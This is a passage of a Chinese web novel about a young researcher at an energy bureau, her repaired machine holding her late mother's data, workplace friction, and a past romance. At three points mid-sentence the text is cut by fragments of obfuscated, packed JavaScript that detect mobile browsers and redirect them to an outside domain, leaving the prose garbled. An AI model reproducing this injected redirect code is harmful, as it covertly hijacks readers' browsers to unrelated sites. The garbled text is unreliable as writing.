刚被发现时她就应该道歉了,只是没勇气往枪口上撞,怂巴巴地选择静待时机。 不料才开口,就被他打断—— “酒精和棉签在那个柜子里,你自己去清理一下。” 她刚才着急忙慌的,往草地上蹦得干脆,手上膝盖上蹭了不少小破皮,又来来回回翻窗口,浑身都弥漫着刺辣痛意。 刚才神经紧绷,还没多大感觉,消毒酒精一上,顿时龇牙咧嘴。 盛恢听她在旁边小声嘶来嘶去,疼得额头冒汗,还把那挎包抱在怀里,突然问一句:“死心了?” 她小心对伤口吹气,眼神飘忽,“……嗯,我不会再折腾电池了,这样拆来拆去,说不定坏得更快。” 他温声提议:“不如再买两块试试,万一赵义轩说谎,其实是把问题电池卖给你了呢。” 那垂着脑袋涂药的人手指顿了顿,似乎是思考了一会儿,才道:“还是算了……我的钱已经花完了。” “之前一口气加价两千,眼都不眨就同意了。我还以为如果当时没有直接把电池给你,再要两千,也能从你这儿赚一笔。” 周宝涂这才发觉坐在实验台前的少年脸庞异常冰冷,没有半点开玩笑的意思,眼底雾沉沉,紧紧凝着她。 她后知后觉,手上棉签也停了,有些为难地回看向他,“我知道他在讹人,但我也是真的很着急,实在没办法了。” 少年沉默许久,才道:“就这么着急,急到没时间问问身边的人?” 她没说话,盛恢也不继续追问。 准备好实验台上的工具,他慢条斯理擦了擦手,朝着那边默不作声的女孩道:“你手里那个机器有点年头了,大概是连接线路老化导致的故障,和电池关系不大。” “……你是要帮我修理它吗?” 盛恢说:“我试试。” 周宝涂却有些犹豫,揣着包不知道在想什么。那边却再度响起少年不温不凉的嗓音:“怕我给你弄坏了?” 他语气里还有笑意,但周宝涂能听出那不是真的在笑,因为他接着又说:“伤口处理好了,就回去吧。” 她慢吞吞地问:“那你呢?” “这些东西摆出来容易,收拾也要花时间。” 他说的是实验台上那些仪器工具。是为了给她修机器才摆出来的。说完就要动手,周宝涂赶紧喊住他:“先别,我不是怕你弄坏……” 她伤口也不管了,挪着步子到实验台前去,一直藏在怀里不肯见人的小挎包终于被捧到他眼前,那条断掉的布带皱巴巴垂着,飘忽蹭过少年手背。 “但是打开以后会看见人脸,可能有点恐怖。”周宝涂解释道。见他一直看着自己,发觉这话似乎有些以己度人,未免太小瞧人了,于是又继续补充:“……不过我现在都不觉得可怕了,你应该也不会被吓到的。” 盛恢接过那个红白相间的小包,让她到旁边坐着。 然而她是坐不住的,一直歪着头打量他的动作倒还好,偏偏嘴里还要一句接一句地问出些没头没尾的问题。 “盛恢哥,你怎么会出现在这儿呢?我记得你不是能量研究社的成员。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280282|182525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他小心分开两根黏在一起的线路,很久才会回一句:“帮忙。” “那上次,就是我和赵义轩做买卖的那次,你也是去帮忙的吗?” “对。” 问完,她又陷入一段沉默,而后声音微弱许多,“这次轮到我来麻烦你了……谢谢啦……” 空气中不见回应,周宝涂以为他还在生气,讷讷合上嘴。 到了中午,日头越发毒起来,蒸腾的热汽从窗口淹入室内。那坐在椅子上的女孩显然有些坐不住,东倒西歪的,有些迷糊。 “热不热?” 周宝涂支起身子,莫名盯了他一会儿,才摇摇头。 他的注意力几乎全都放在修理机器上,只是分神多问一句,也能察觉到这人回答得不诚实。 匆匆瞥一眼她的穿着,短裤短衣,遂打消了开空调的想法。 “再等等,快好了。” 余光里,那人点了点头。不知是不是错觉,好像比之前要有精神许多。大概是伤口不痛了吧。 这机器规格很高,盛恢懂的那些在它面前只能算是三脚猫功夫,修理过程中可谓焦头烂额、左支右绌,但竭尽全力,好歹最后还是修好了周宝涂的机器。 周宝涂看见他额上全是汗,机器再度亮起,蓝光映得他眼睛里像是有片奇异的星海。 只是这人脸色怎么看都不像高兴,周宝涂一颗心脏高高悬起来,问:“你还好吗?” 盛恢放下机器,轻轻呼出一口气,一直垂着眼睫,边摘手套边回答她:“没事,至少在未来很长一段时间内,你的机器都不会再出问题了。” 话落,周宝涂已经蹦到他身边,她突然有些近乡情怯,不敢立刻用手去碰,只是弯着腰左右打量着已经被修好的机器。 盛恢盯着她难言欣喜的侧脸,又看一眼那屏幕上,和女孩足足有七分相像的女人。过了许久才问一句:“你为什么这么想修好这个机器,之前不是很害怕么?” “之前还不懂啊,”她被揭老底,脸红着反驳:“现在我有勇气宝典了嘛,而且这个人很有意思……我是说,这个机器很有意思,它就像一个真正的人一样,可以和你对话的。” 在这之前,周宝涂其实没少和盛恢聊起这个机器。只是她把这东西说得出神入化,他也只当是小孩子新鲜,没怎么放在心上。 直到今天,这机子到了他手上,一番接触之后,才觉出不对劲来。 十几年前,能监局确实研发过一批以人体能量为驱动的数据收集仪器。这批仪器的数据样本来源于非自然能量场,那些“残缺”的人体能量场。然而尽管只是极少量的使用,却还是在与智能机器结合之后展现了极其逼真的效果。 这些机器仿佛在能量注入之后真正获得意识一样,可以和人进行对话。也正是因为这样,违反了实验伦理,能监局往后就彻底禁止了以人体能量场作为样本的形式。 按理说,那批东西早该湮灭在回收站里了。周宝涂手里这个,大概是她父亲作为负责人之一,有处理权限,却不知出于什么原因,一直放在家里。 只是屏幕里的女人,和屏幕之外的女孩过于相似的五官,以及那股难以形容、殊途同归的气质,实在令人难以忽视。联想到她最近那些破格的举动,又是倾家荡产买电池,又是偷偷摸摸翻实验室,大概是沉溺其中,却还没来得及察觉这股莫名吸引力背后显而易见的秘密。 “宝涂。” 他突兀地喊了一声,周宝涂已经把机器收回小挎包里,半毁的挎包如今顺理成章地被她紧紧抱在怀里。她很高兴,连刚才的不开心和僵滞也一并忘了,招呼着今天的“大功臣”,“盛恢哥,晚上去我们家吃饭吗?如果你来的话,我中午回去就和阿姨说一声。” 周宝涂只想着怎么还人情,半晌才反应过来他一直没有说话,只是在默默收拾着桌上的杂物。 她帮着一起,继续追问:“盛恢哥,你来吗?” 陷入沉思的少年这才回过神,微微颔首,“如果不打扰的话。” 他不知道要怎么提醒她,毕竟……直接说出真相,并不总是一个很好的方法。 “如果以后还有什么问题,可以来找我,比你自己病急乱投医可靠得多。” “我知道啦……” …… 往后很多年,当周宝涂终于有勇气重新回想这段记忆时,才发现原来在一开始,他就已经知道了谜底。 11. 刁难 说回入职那一晚,盛恢送给周宝涂的那个项链,是个很奇特的东西,一个小而薄的晶片状物,比最小的指甲盖还要小几分,闪着晶莹剔透的光,乍一看,像极了缩小版的芯片。 不规则的晶片两侧有两个细小的孔,串连其中的是一条黑色细绳,看似普通,内里却暗含玄机。这黑绳虽细小,表面却刻满了规则的纹路,触碰到人的肌肤之后,那浓郁纯正的黑竟隐隐褪去,变成灰白相间的亮银。 是一条“奇形怪状”的项链。 虽然还不是真正能够“植入皮肤”的芯片,但周宝涂知道,这个小东西绝不仅仅只是一条项链。 新人入职,有太多事情要忙,她没时间去细细研究这个小玩意儿,但随身带着,休息的时候总会想起来。 那次小会过后两天,真正的组长曾雨田才终于露面。只是他这回似乎是真的有事要忙,匆匆和周宝涂说了几句,就一头钻进实验室。别说周宝涂一时没反应过来,就是和他共事多年的王旻书,这样的阵仗,也真没见过几次。 “所以,他是答应了吗?” 王旻书沉吟一会儿,想着刚才曾雨田听了小周提案的样子,实在和她原本设想的大不一样。 既没有直接否掉,当然也没有点头说行,一改往常嬉皮笑脸无所事事的嘴脸,倒是非常正经严肃,末了只说自己最近忙,全权交给王旻书负责。她索性拍板:“没拒绝,就是可以。你且做着吧,哪里需要帮忙再问我。” 周宝涂得了通行令,干得更加热火朝天。理论上的准备,从她决定踏入能量领域的那天就已经开始了,许多东西早就熟记于心,上手自然很快。 尽管王旻书没有主动要求过周宝涂同步她的研究进展,却每天都能在桌上看见一份新的报告。这几天她显然是遇到瓶颈了,报告没有之前更新得勤。 不过作为新人,周宝涂的工作效率已经是比王旻书想象得要高许多。理论准备显然是快要结束了,她也该准备下一步,先帮这孩子解决后面可能遇到的实验外因素。 打定主意以后,王旻书先找了负责实验室管理的同事,想了解最近有没有位置可以空出来。 “下周刚好有一间空出来了,你要用吗?” “嗯……刚好,帮我留一下吧。” 按照小周现在的进度,恐怕下周就能开始做实验了。 做完登记以后,王旻书正要离开,却被叫住:“哎,王姐,跟你打听个事。” “怎么?” “我听说你们组那个新人,要做和强能量有关的项目,真的假的?” “嗯。” “曾雨田点的头?倒也合理,真是不拿新人的命当命。但是你们的意见他也不听么?怎么就这么同意了……” 他话没说完,被王旻书打断:“她的选题是我们全组表决通过的。” “……不是,王姐,别怪我多嘴,不说强能量场现在还没办法大规模使用,就说之前,我们也不是没做过这方面的项目。两年前,那次差点出大事,你们都忘了吗?” “那个项目太匆忙,准备得也不够充分。再说了,很多实验不是为了追求结果才开展的,它们的存在本身就是价值。” 不怪王旻书发脾气,只是这几天来找她问这问那的人也不下少数了,一个两个的全是来泼冷水的。 “唉,那毕竟是人命关天的事啊,且不说那孩子还是个初来乍到的,就说像盛恢那样的怪人,都差点因为这个项目……” 王旻书再次打断他意有所指的话:“别说了,如果有问题,上面自然会叫停。” 管理员熄了火,半晌还是多提醒一句:“怕就怕,说不定都等不到上面拍板了。” 她皱眉,“你什么意思?” “今年,轮孟萤珈负责新人,她什么风格,你不知道啊?” 孟萤珈两年前第一次带新人,过渡期结束之后获封“笑面虎”花名这事儿局里人尽皆知。 她能力很强,却过于吹毛求疵,天生带着一股领导气质,就免不了让人觉得强势。工作之外,也就新来的小朋友们会把她当知心大姐姐看,大多数人都不太敢和她深交。 王旻书和她关系一般,甚至可以说算不上太好。她自己自认不是难相处的人,只是她们在研究上的某些观点实在差异过大。毕竟她现在的研究方向是人体能量,而孟萤珈,是一位坚定的反人体能量研究人士。 “但你要是想说,孟萤珈会因为自己的个人立场刻意为难一个新人,那还是等我退休了再说吧。” 管理员同事默不作声地看了她几秒,才接着道:“外面都要闹翻天了,我看你们组里倒是风平浪静……孟萤珈当然不可能因此作难,但如果面对的是周砚平先生的女儿,那就不一定了。” 看着王旻书骤然变化的脸色,他还是有些惊讶,“你竟然真的不知道?” 她摇了摇头,“小周没说过。” “也是,正常人谁会把自己父亲的名字挂在嘴边。” 王旻书脸色难看,匆匆告了别。其实,凡是正常人,谁又会去在意别人父亲名字叫什么? 但孟萤珈真不是个正常人。 她和周宝涂的父亲关系匪浅,从入职到真正独立研究项目,说孟萤珈是周砚平一手栽培都不为过。之后发生的事王旻书也不甚了解,只知道孟萤珈选择了和老师完全相反的研究方向,师徒二人渐渐没了交流,直到周砚平先生因病离职也没再说过一句话。 甚至在那之后,“周砚平”三个字成了在孟萤珈面前不可提起的禁语。她对此展现出来的疏离与对立,极端到让人难以理解。 新人们的临时工作区在一楼,王旻书直奔周宝涂的位置,却没见着人。桌上散乱着很多实验报告,最整齐的一沓放在右上角最不起眼的位置,她一眼就认出来那是周宝涂最近一次交上来的报告。 她随便捡起桌面上一张纸,渐渐察觉不对劲,又接连看了几张,才发现这些实验报告都是新研究员接触不到的复杂实验。 “宝涂不在,你有事要找她吗?” 冯绪和位置和周宝涂挨着,她刚结束上午的工作,一抬头,就见周宝涂桌边站着个人,神色还有些古怪。 “……你好,请问她去哪儿了?” 听她问起这个,冯绪下意识看了一眼座位后的方向,“又被叫去干活儿了呗,也就是她不会拒绝,这一早上都整理三四份报告了……” 王旻书又看一眼手上的纸张,密密麻麻注满了字迹,看得出来这项工作进行得有多艰难。 她走近那间办公室,强忍着没有立即推门而入,不多会儿,听见里面传来断断续续的说话音。 孟萤珈的声音响起:“……这是你刚刚完成的?” 对面没有回应,王旻书猜她大概只是简单地点了点头。 “很多我让你备注的细节都省略了,对你们来说,细节往往才是了解全局的关键,你这样的行为,无异于投机取巧。” 她没能把话说完,办公室的门就被人推开,一脸不虞的王旻书站在门口,手里还掐着满是字迹的纸张。 孟萤珈面色不善地盯着她,背对着门口的周宝涂却一无所察。 她只等着被训一顿后就能离开,这几天时间实在浪费太多。然而领导训着训着就没了后文,她就这样傻站着也不好,想来想去,才回了一句,“我以为您更愿意看简单明了的。” “我要看的不是你整理好的报告,而是你处理报告的过程。” 孟萤珈对她说着话,眼神却是朝着王旻书,“……不要混淆主次,当心走错道。” 两个人之间的火药味俨然随时就要炸翻这间办公室,身处漩涡的第三人却面不改色,甚至还笑了笑,说明白了。 王旻书为她的软性子上火,终于开口引爆炸药:“什么是主,什么是次,放着自己的项目不做,来给您这位大领导打杂当下手,白白当苦力整理三四份报告,就是正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280283|182525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道?” 此话一出,孟萤珈也站起身,“王旻书,请你不要歪曲我的意思。” “我倒是没问你凭什么随便支使我的组员,真是……白瞎了眼,亏我还信誓旦旦和别人保证你不是那种会因为一己私欲公权私用的人!” 孟萤珈冷笑:“我公权私用?你哪只眼睛看见了?我倒是没问问你,工作期间闯进我的办公室,还出言侮辱,是什么意思?” 王旻书还要回击,手上却突兀传来一股莫名的拉扯感。她转头,看见周宝涂正试图小心翼翼扯出自己握在手里的报告纸。 “你……” 她下意识松手,周宝涂刚好揣回怀里,“你们先聊,我去整理报告。” 随后在一片僵凝的氛围中默默退出,还顺手带上门,叫王旻书无由来地更恼火。 “孟萤珈,我不知道你过去和你的老师究竟发生了什么。但周宝涂,是一个独立的个体,是能监局的新研究员之一,你作为前辈,何必跟一个初来乍到的新人计较?” 王旻书顾不得太多,她本来也不是擅长吵架的人,但就事论事,她有道理,也不怕孟萤珈发火。从王旻书说出“老师”这个字眼开始,孟萤珈的表情就很不好看,然而她没有继续接话吵下去,只是神色复杂地看着对面的人,半晌才冷冷笑了声:“你确实很敢说。” 不等人回应,她已经恢复了平时的样子,“我很想问,你是真的没发现吗?你进来到现在,从头到尾,她哪里像个被压榨的样子。” 办公室里有一瞬间的安静。 王旻书才终于察觉出不对劲,她想起小宝涂脸上依旧温和的笑意,再回味这句古古怪怪的话,怎么想怎么别扭。倒是孟萤珈长长叹了口气,摆了摆手,像是示意,王旻书却不知为什么看出了些“投降”的意思。 刚才剑拔弩张的火气骤然熄灭,徒留一丝尴尬的尾气。 孟萤珈翻阅着那份报告,“说了你可能不信,你所谓的我让她整理三四份报告,其实都是同一份。” 她刚开始把这个任务交给周宝涂的时候,没有提任何要求,也不打算给予过多帮助。可没想到,她竟然在极短的时间内交上来了一份还算细致的报告。 “不过那也只能说是勉强过关,毕竟没花多长时间,很多功夫做得不够好。” 她自顾自说着,露出王旻书熟悉的表情。都已经吹毛求疵到有些不顾事实了吧……一个新人,对复杂实验的理解还要怎么深入才能达到孟萤珈的标准? 所以第二次,孟萤珈提了一些比较具体的要求。周宝涂也不再像之前那样只会闷头苦干,她开始询问很多细节上的问题。只是理解能力好像突然掉了一大截,孟萤珈讲得口舌发干,实在讲不通,于是索性亲身上阵,做了份标准出来。 她整理的时候,周宝涂捧着纸笔一直跟在旁边写写画画。孟萤珈这份报告是最近的,她记得还算清楚,因此没花多少时间。 然而结束之后,周宝涂忽然把手里几页纸递到她面前,是较之上版更加清晰简洁的报告。 于是就发生了王旻书推门进来前的那一幕。她当时的确是有些恼羞成怒,不可否认,周宝涂已经交出了一份远超她这个年纪水平和实力的答卷。 孟萤珈看她表情复杂,“坐不坐,不坐出去。” 一时无言,王旻书只好先坐下。只是这一坐,就看见椅子旁的桌面上,摆着厚厚一沓纸。 “虽然是我给她发的任务,但这报告工作量真要论起来,我也不比她少多少。” 她微微闭了闭眼,像是回忆起什么,“你以为她是任劳任怨,其实劲儿都憋着呢,骨子里那股傲气……一样的惹人生厌。” 王旻书叹了口气:“你不也是?” 因为那些前尘往事,她执意要用这么偏激的方式去打压对方。说到底,心里的郁闷还是没法忘怀,连理智也没了,冲动之下,把那股不平的心绪转移到他的女儿身上。 一样的傲慢。 12. 隐瞒 那天之后,孟萤珈再没有找过周宝涂的麻烦。 而王旻书在这之后的几天里,时不时就会想起那天在办公室里,她略显落寞的神情。原来像孟萤珈那样的人,也会因为郁结于心,变得不像原来的自己。 那周宝涂又是什么样的心情? “王姐,王姐!” 耳边的声音将她从思绪中剥离出来,再回神,周宝涂已经整理好了眼前的实验台。 “从今天就开始,可以吗?” 实验初期,她还是决定谨慎一些,多做几个模拟环境,顺便也可以积累经验。 “嗯,忆南那边设备基本上都申请下来了,待会儿你先跟着他学一阵,之后好上手。” “好。” 王旻书才发觉,这孩子这几天似乎没怎么说话……虽然她一直以来话都不多。 “宝涂,最近一阵累不累?要不然这两天放个假?”她试探着发问。 却被这人一口回绝:“没事,王姐,我不累的。” “你才刚开始,没必要这么拼。我看其他组的新人前几天还一起组队去森林里采数据了,虽然说是工作,但其实啊,就是去玩儿的。新鲜嘛,哪里都想转转。你呢?不约着盛恢一起出去看看?” 说着说着,周宝涂的神色明显不自然起来:“王姐,怎么突然提他……” 王旻书挥了挥手,“你们俩还想瞒着人呐?我一眼就看出来了。” “……没有的。” 年轻人就是脸皮薄,她还想笑着多调侃几句,却被突然响起的电话铃声打了个猝不及防。电话里,李忆南哭嚎着抱怨人手不够也不能只派他来领东西。 这边电话还没挂,周宝涂刚好得了借口,兴冲冲起身去帮忙了。忙活一下午,王旻书总算是看明白,这孩子不仅精力充沛,还不爱表露心迹。要是再试图多安抚几句,她真有可能为了证明自己没有问题,就这样风风火火干通宵。 只是就算劝不动,她也还是放心不下,临走前要嘱咐一句:“宝涂,钥匙在左边柜子上,一会儿走了记得把门锁好……你会走的对吧?” 周宝涂答应得干脆。然而一转眼,她不过弄清了几个复杂机器的原理,再抬头时,已经是凌晨。持续高强度运转的大脑已经是强弩之末,她在实验室的柜子里找了张小毯子,在旁边的休息椅上胡乱躺下,没过多会儿就沉沉睡去。 正值热夏,室内冷气开得足,工作的时候还算舒适,快要睡着时才发觉身上有些冷。直到额边有热度靠近,她咕哝一声,下意识循着热源贴过去。半梦半醒间,似乎看见一双略显疲惫的眼睛。与此同时,自己的手仿佛被那股热意也裹住,熨帖温暖。 这个场景,她并不陌生。和盛恢在一起的第二年,他们在她学校附近租了房,搬出宿舍,开始同居生活。 只是没过多久,他正式参加工作,越来越忙。尤其在头一年,一年里见面的次数,十个手指都数得过来。那段时间就总是这样,凌晨三四点的黑夜,他风尘仆仆回到家。悄声进了房间,不想直接叫醒她,就坐在床边轻轻握着她的手,直到抵不住困意。 大多时候,她醒来时,都看不见人。然而手心的烫意还十分清晰。 周宝涂能感觉到,他那时候压力很大。 到了第二年,他的时间充裕许多。尽管还是总在凌晨三四点回到家,却很少再在天亮前不辞而别。从那以后,这样的场景几乎就没有再出现过了。 周宝涂的思绪开始发散,缓缓抬起手,想摸一摸梦里的那双眼睛。手才刚伸出去,就被裹进同样热乎乎的暖意中去。她睁开眼睛,才发觉眼前并不是梦。 眼前握着她两只手的男人面色沉郁,下巴又冒出青色,头发微乱,身上的衬衫也松了几颗扣子。 看上去像刚拾荒回来。 “唔……” 刚睡醒的人还有些迷糊,丝毫不察对方也在以同样的目光回视她。 不知道是熬了几个夜,眼底乌青重得让人难以忽视。本就白皙的皮肤在极度疲倦之后已经看不见多少红润血色,不吃饭不喝水,唇边都起了皮。 “吃点东西再睡。” 她手里被递过一个小碗,热乎的清汤上浮着几只水饺。 温度从手上传遍全身,她摩挲着小碗,听见他说:“一口吃不成胖子,非要这么着急,最后落个吃力不讨好。” 她没抬头,碗里漂浮的热汽闷得脸蛋发红。 许久没人说话。再抬头时,见他搬着个小凳坐在休息椅旁边,两条长腿就这么曲着,也不嫌酸,静静看着她吃东西。 “你也吃一个?”她伸过去。 他轻轻摇头,说不用。 周宝涂才发现他声音又低又哑。她不知道该说什么,只是闷头喝汤。 “好喝,饺子也好吃……厨艺有精进嘛。” 这夸赞过于刻意,他没忍住笑了一声,眉眼间的疲惫随之散开许多。 他们认识的时间太长,轻易感受到对方的情绪变化几乎成了本能。周宝涂能察觉到他的疲惫与心烦,他自然也能感受到来自这人身上别扭的安抚意味。 “你在安慰我吗?” 把话说开,她倒是眼神游移。他叹了口气,语气无奈,低沉的嗓音叫接下来说出口的话又多了些许缱绻意味。 “可惜,还在闹别扭。不能抱,也不能亲,安慰效果没有那么好。” 周宝涂继续闷头吃饺子。他的目光仿佛有形,轻缓划过女孩的发梢眼角。 “再等等……就差临门一脚了。” 那么简单的一句话,不知道要经历多少才得见天日。 她放下手里的碗,沉默良久。盛恢也不说话,只是静静等着。终于,她开口:“两年前,强能量场的项目,曾经出现过很重大的意外,是么?” 又一阵沉默,盛恢没有回答,只是试图握住她的手。 周宝涂没有甩开,她注视着两个人交握在一起的手,眼眶发涩。 “性命攸关的事,为什么不告诉我呢?”她语气里染上几分急躁:“如果我没有到能监局来,如果我没有从她们的嘴里听说这件事,你是不是打算就一直不告诉我……” 他又叹气,有几分无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288968|182525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈地笑。 那个项目诞生得突然,又很仓促,而主导者又是那时初入茅庐的他,更是不被看好。然而尽管局里大多数人都对此持反对意见,上面的态度却始终很模糊。就像看到某种信号一样,当初进行研究的团队因此没有彻底放弃,在暗中一直维持着实验的运行。 这两年里少不了明枪暗箭,你来我往,但都没有伤及项目命脉。倒不是那些顽固保守派手下留情,只是如今的盛恢也不再像两年前那样青涩莽撞。 他从小到大,学什么都很快。 那样代价惨重的失败只需要经历一次,就足以让他印象深刻,学会如何守护自己的心血。 “所以,你当初拦着我,也是因为后怕吗?” 她无法忘记,半个月前,和盛恢摊牌的那个晚上。那种满心激动,却被人迎头泼了盆凉水的的感觉还记忆犹新。那晚,他沉默的瞬间,脸上闪过太多情绪,惊讶、疑惑、不解……唯独没有喜悦。 短暂的僵滞后,他脱口而出的第一句话是:“……你不要去。” 再之后,便是一场互不妥协的争吵,与长达半个月的冷战。 “那天晚上,大概是后怕比较多。”他垂着眼睫,顿了几秒,又道:“后来再想,最不解的倒是,为什么你的意愿已经强烈到这个地步,我却不知道。” 他的目光移向女孩脖颈间的项链,“你的理由,我可以理解。但为什么不能提前告诉我?” “……有些事情我必须自己完成。” 盛恢捏了捏她的手背,“你觉得我插手你的事情太多,只需要说一声……我难道还会不听吗。” 她泄了气,又摇摇头,“不关你的事,是我自己的问题。” 毕竟她从做下决定开始,就不是百分百的坚持。害怕自己的犹豫不决,也害怕他的反应会让自己更加退缩。从备考到结束,她像在一口油锅里挣扎,刀山火海里,颤颤巍巍地往前。 但还好撑了过来,还好走到今天。 “项链里的东西,都看过了吗?” 周宝涂下意识摸摸胸口的芯片,“……东西?” 他只是笑,“忘记了?闭上眼睛。” 周宝涂心口微震,闭上眼睛。 这枚小小的芯片项链的确很特殊,它可以装载很多内容,文字、图画、甚至是影像,通过能量的形式和人体连接。 周宝涂脖子上的这一枚里,记录的正是“七零零六”号的资料。 “她的情况太特殊,剩下的信息不多,几乎都在这里了。” 他伸手擦去宝涂眼角溢出的眼泪,“很久没见到她了,对吗。” 她的情绪过于强烈,莫名有股失力感。明明是见到了最想见的人,却因此而生出一股更加无措茫然的孤独。抱住她的人臂膀加紧了些,周宝涂才没有彻底失控。 “……我以为,这辈子再也不会见到她了。” 她握着那枚晶片,眼皮闭得很紧,眼泪一点点从浓密睫毛下渗出来。迟迟不愿睁眼,只是心里还有奢望,让这张重新清晰浮现在脑海中的脸,能留下永远的记忆。 13. 母亲 从一开始,在遇见那个机器的开始,周宝涂的潜意识就已经帮她完成了“辨别”的工作。 血缘的力量很强大,强大到只在瞬间,就能完成某种联结的缔造。 只是她不愿意承认。 比起在确认之后要经历的患得患失,像现在这样,和机器做“朋友”的单纯快乐,就足够让她每天都像掉进甜蜜罐里,不去想多余的事情。 夏天的太阳很毒,晒得久了,浑身都会泛起刺刺麻麻的痛意,汗水滑落,让刺痛之外裹上一层黏腻。然而这样的难受也没能把斗志昂扬的女孩降服。直到从家里带出来的小圆桶被装满泥土,她才气喘吁吁地从树底下站起来。 这是上高中后的第一个假期,也是她难得没有睡懒觉的假期。 之前她还很担心,有一天,爸爸会突然把那个机器带走。只是随着时间的推移,这份担心也渐渐淡去。大半年了,它一直安然地呆在家里。 现在,她们已经是关系非常好的“朋友”。七零零六做过科学家,是个很热衷于挑战的人。它说起自己那些经历,桩桩件件都让周宝涂目瞪口呆。 冰川裂缝,火山口边,深海沙漠……那都是她从未踏足过的地方。 “很神奇吧,即使在你觉得最极限的环境里,也有无数生命存活着。” 周宝涂听进去了。 即使这些故事和自己没有半分关系,她仍然因此感到心潮澎湃。于是假期的第一天,她决定要自己种下一盆花。亲手播种,亲手培土,看着它一点点成长,即使不那么完美也没有关系。 周宝涂提着圆桶跑上楼。 她心里那壶水快要冒出泡来,浑身都是汗,腿上溅了不少泥,像刚从地里破土而出的小白萝卜。 快要到家门口,却在不远处看见一个许久未见的身影。 那少年穿着一身常服,身边还跟了一只黑色的行李箱,头发微乱,似乎是刚刚结束一段熬人的行程,脸色有些困倦。 他大概也是刚到家,还没来得及进门,看见周宝涂的那刻,怔愣几秒,不过很快神色就放松下来,眉宇间的疲乏消散许多,只是懒懒地在她身上扫了几眼,问:“乱糟糟的,干什么去了?” “盛恢哥!”她声音很大,回荡在只有两个人的走道里,轰得人耳鸣。 少年抬手揉耳朵的动作让周宝涂有些不好意思,她“啊”了一声,短促中透出几分赧然,放轻声音转移话题:“你回来啦……保送的事情都办好了?” “手续都差不多了。叔叔在家吗?” 盛恢经常找宝涂爸爸请教能量方面的问题,她没觉得奇怪,顺口就接:“今天是周六,他休息。” 女孩语气雀跃,似乎是很希望他就此走进家门。无论是回他自己家,还是去找爸爸聊天,总之不要继续待在这儿—— 然而他继续问:“芳姨呢?” “……芳姨在做午饭。” 周宝涂抱着小圆桶,感觉到他的视线正聚集在自己怀里,手上力气紧了许多。 “大人都在家,怎么没拦着你出去玩泥巴?” 她支支吾吾:“我没有玩……泥巴。” 盛恢往她腿上看了一眼,从单肩包里拿了几张纸,朝女孩走过去,“我看你是玩疯了。” 周宝涂看见他的动作,才注意到自己腿上沾了好多泥,她松开一只抱着小圆桶的手,转去揪自己的短裤。 “……欸,什么时候弄的!” 随即又意识到盛恢快走近了,她匆忙放下裤子,重新抱紧圆桶,退了几步,道:“太多了,用纸擦不干净的,我回去水洗好了。” 盛恢停在原地,眼神若有所思地掠过她手里那个桶。她心焦得很,也没顾得上对方回话,就朝天台上跑。为了不引起芳姨的注意,她把买来的花种和花盆都藏在天台,用好几层袋子裹着,不让它碰到一点灰。 只是她小心翼翼的对待倒是起了反作用,藏在袋子里的花种时隔几天再见阳光,竟然散发出一股淡淡的怪味。周宝涂皱着眉头,轻轻用手去拨弄它,“有点太闷了,怪我。” 天台门边,盛恢静静地看了一会儿,才转身离开。这段时间他待在外地,很久没和周宝涂联系了。但那个机器,以及里面那人和周宝涂的关系,还时时让他纠结在意。 关于周宝涂母亲的一切,向来成谜。 哪怕曾经与她是亲密好友的父母,在回应自己有意无意的打听时,也显得十分古怪。他们不肯透露半点信息,只是草草敷衍过去。盛恢却能明显感觉到,他们并不是不愿提及,倒像是因为某种更难言的缘由,变得讳莫如深。 长途的疲惫与纷乱的思绪共同侵扰着大脑,他缓慢走下台阶,却听楼下传来一阵纷乱的响动。一层楼都乱糟糟的,周宝涂的父亲站在家门前,周围零零落落站着四五个人,他的父母也在其中。 周砚平脸上的表情有些难看,肢体动作很僵硬,一只手十分突兀地搭在身后紧紧闭着的门上。和他对立而站的那些人,脸色同样严肃,甚至有些强硬。 站在前面的年轻女人最先沉不住气:“周砚平,我再说一遍,如果你拒绝配合,我们有权强行回收机器。” 平时很好说话的周叔叔此刻却是无比坚持,没有一点退让,“但你们无权强闯民宅。” 年轻女人的语气又重几分,她不可置信,无奈又气愤:“让开!” 周围的人见她情绪激动,纷纷上前阻拦,盛恢母亲在旁边劝道:“萤珈,冷静点。” “砚平,我们都为凌珺的事感到遗憾。可她毕竟……不在了,已经过去这么多年,也该让它回到本应待着的地方了,你说不是吗?” 按照规定,所有非自然能量场数据仪器的保管权,最终都会归于能监局最神秘的部门——魂者。其他部门没有权利,也没有能力再干涉。只是七零零六号仪器的原主,凌珺女士,曾经作为能监局高等研究员,负责过许多项目和实验。 